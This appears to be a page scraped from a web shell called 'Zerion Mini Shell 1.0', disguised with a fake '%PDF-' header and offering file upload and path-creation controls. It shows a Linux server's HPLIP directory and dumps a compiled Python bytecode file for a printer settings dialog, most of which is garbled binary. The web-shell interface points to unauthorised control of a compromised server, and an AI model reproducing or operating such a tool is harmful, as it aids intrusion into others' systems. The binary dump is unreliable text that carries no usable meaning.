%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/hplip/ui5/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/hplip/ui5/__pycache__/settingsdialog.cpython-312.pyc

�

=	f���f�ddl�ddl�ddlmZddl�ddl�ddl�ddlmZGd�de	e�Z
y)�)�*)�
to_unicode�)�Ui_SettingsDialog_basec�4�eZdZdd�Zd�Zd�Zd�Zd�Zdd�Zy)	�SettingsDialogNc
� �tj||�|j|�|jjj|j�t�|_|jj�tjdd�}tjdd�}tj||�r
d|�d|�d�}nd|z}|jj!|jj"|jj$|jj&|jj(|jj*|jj,|jj.|�|j1�y)	N�hplip�version�upgrade�latest_available_versionzCurrently HPLIP-z$ version is installed.
Latest HPLIP-z& version is available for installationzHPLIP-%s version is installed)�QDialog�__init__�setupUi�SetDefaultsButton�clicked�connect�SetDefaultsButton_clicked�UserSettings�
user_settings�load�sys_conf�get�	user_conf�utils�Is_HPLIP_older_version�SystemTraySettings�initUi�systray_visible�polling�polling_interval�device_list�systray_messages�upgrade_notify�upgrade_pending_update_time�updateControls)�self�parent�cur_vers�last_ver�upgrade_msgs     �&/usr/share/hplip/ui5/settingsdialog.pyrzSettingsDialog.__init__$s8������v�&����T�����&�&�.�.�t�/M�/M�N�)�^��������!��<�<���3���=�=��+E�F���'�'��(�;�}E�GO�P�K�8�(�C�K����&�&�t�'9�'9�'I�'I�'+�'9�'9�'A�'A�'+�'9�'9�'J�'J�'+�'9�'9�'E�'E�'+�'9�'9�'J�'J�'+�'9�'9�'H�'H�'+�'9�'9�'U�'U�'2�	4�	
����c���|jj|jj�|jj|jj�|jjdk(r|jjd�n|jjd�|jj|jj�|jj|j_
|jj|j_|jj |j_|jj#�y)NrT)�AutoRefreshCheckBox�
setCheckedr�auto_refresh�AutoRefreshRateSpinBox�setValue�auto_refresh_rate�auto_refresh_type�RefreshCurrentRadioButton�RefreshAllRadioButton�ScanCommandLineEdit�setText�cmd_scanrrr#r$�updateUi�r's r,r&zSettingsDialog.updateControls@s���� � �+�+�D�,>�,>�,K�,K�L��#�#�,�,�T�-?�-?�-Q�-Q�R����/�/�1�4��*�*�5�5�d�;��&�&�1�1�$�7�� � �(�(��);�);�)D�)D�E�26�2D�2D�2T�2T����/�37�3E�3E�3V�3V����0�15�1C�1C�1R�1R����.����(�(�*r-c�v�|jj|j_|jj|j_t	|j
j
��|j_t|jj��|j_|jj|j_|jj�rd|j_nd|j_|jj!�|j_y)Nr�)rrrr#rr8�textr:�boolr/�	isCheckedr1r$r6r5r2�valuer4r<s r,�
updateDatazSettingsDialog.updateDataOs���-1�-D�-D�-T�-T����*�.2�.E�.E�.V�.V����+�&0��1I�1I�1N�1N�1P�&Q����#�*.�t�/G�/G�/Q�/Q�/S�*T����'�,0�,C�,C�,R�,R����)��)�)�3�3�5�34�D���0�34�D���0�/3�/J�/J�/P�/P�/R����,r-c�X�|jj�|j�y�N)r�loadDefaultsr&r<s r,rz(SettingsDialog.SetDefaultsButton_clicked^s �����'�'�)����r-c��|j�|jj�tj	|�yrE)rCr�saver�acceptr<s r,rIzSettingsDialog.acceptcs*�����������!����t�r-c�0�tjd||�S)Nr)�qApp�	translate)r'�s�cs   r,�__trzSettingsDialog.__trjs���~�~�.�q��3�3r-rE)	�__name__�
__module__�__qualname__rr&rCrrI�_SettingsDialog__tr�r-r,rr#s!���8+�S��
�4r-rN)�base.g�
base.codes�base.sixextr�ui_utils�PyQt5.QtCore�PyQt5.QtGui�settingsdialog_baserrrrTr-r,�<module>r\s/��.��#����7�H4�W�4�H4r-

Zerion Mini Shell 1.0